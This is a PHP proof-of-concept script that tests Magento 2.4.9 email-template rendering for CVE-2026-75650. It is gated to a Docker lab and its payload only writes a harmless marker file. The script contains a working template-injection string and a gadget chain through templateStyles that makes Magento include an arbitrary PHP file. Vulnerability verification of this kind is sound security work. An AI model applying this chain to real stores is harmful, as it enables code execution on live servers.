<?php
/**
 * Non-destructive component code-execution probe for CVE-2026-75650.
 *
 * The included PHP payload can only write a random, local marker and return an
 * empty array. It accepts no command, URL, callback, or attacker-supplied path.
 */
declare(strict_types=1);

use Magento\Framework\App\Bootstrap;
use Magento\Framework\App\TemplateTypesInterface;

if (PHP_SAPI !== 'cli' || getenv('STYLESMUGGLER_LAB') !== '1' || !is_file('/.dockerenv')) {
    fwrite(STDERR, "Refusing to run outside the opted-in Docker lab.\n");
    exit(64);
}

$magentoRoot = getenv('MAGENTO_ROOT') ?: '/var/www/html';
$bootstrapFile = $magentoRoot . '/app/bootstrap.php';
if (!is_file($bootstrapFile)) {
    fwrite(STDERR, "Magento bootstrap not found at {$bootstrapFile}\n");
    exit(66);
}

$nonce = bin2hex(random_bytes(16));
$payloadFile = "/tmp/cve-2026-75650-payload-{$nonce}.php";
$markerFile = "/tmp/cve-2026-75650-marker-{$nonce}";
$markerValue = "CVE_2026_75650_EXECUTED_{$nonce}";

$cleanup = static function () use (&$payloadFile, &$markerFile): void {
    if (is_string($payloadFile) && str_starts_with($payloadFile, '/tmp/cve-2026-75650-payload-')) {
        @unlink($payloadFile);
    }
    if (is_string($markerFile) && str_starts_with($markerFile, '/tmp/cve-2026-75650-marker-')) {
        @unlink($markerFile);
    }
};
register_shutdown_function($cleanup);

$payload = sprintf(
    "<?php file_put_contents(%s, %s); return [];\n",
    var_export($markerFile, true),
    var_export($markerValue, true)
);
if (file_put_contents($payloadFile, $payload, LOCK_EX) === false) {
    fwrite(STDERR, "Could not create the local marker payload.\n");
    exit(73);
}
chmod($payloadFile, 0600);

require $bootstrapFile;
$bootstrap = Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();
$appState = $objectManager->get(\Magento\Framework\App\State::class);

try {
    $appState->setAreaCode('frontend');
} catch (\Magento\Framework\Exception\LocalizedException $exception) {
    // A reused CLI runtime can already have an area code.
}

/** @var \Magento\Email\Model\Template $template */
$template = $objectManager->create(\Magento\Email\Model\Template::class);
$template->setTemplateType(TemplateTypesInterface::TYPE_HTML);
$template->setTemplateText(
    '{{block class=Magento\\Backend\\Block\\Widget\\Grid\\ColumnSet rowUrl=$this.template_styles}}'
);
$template->setTemplateStyles([
    'first' => $payloadFile,
    'second' => \Magento\Framework\DataObject::class,
    'generatorClass' => \Aws\S3\S3Client::class,
    'version' => 'latest',
    'region' => 'us-east-1',
    'with_resolved' => [
        [
            'instance' => \Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class,
            '_i_' => \Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class,
        ],
        'collectEntities',
    ],
]);
$template->setDesignConfig(['area' => 'frontend', 'store' => 0]);

$thrown = null;
try {
    $template->getProcessedTemplate();
} catch (\Throwable $exception) {
    // A post-sink exception is not the oracle; the marker below is.
    $thrown = get_class($exception) . ': ' . $exception->getMessage();
}

$observed = is_file($markerFile)
    && hash_equals($markerValue, (string) file_get_contents($markerFile));

echo json_encode(
    [
        'probe' => 'marker-only component code execution',
        'target' => 'Magento 2.4.9 email-template rendering component',
        'execution_observed' => $observed,
        'payload_capability' => 'write one nonce-bound file in /tmp',
        'network_callback' => false,
        'command_execution' => false,
        'exception' => $thrown,
    ],
    JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES
) . PHP_EOL;

$cleanup();
exit($observed ? 0 : 2);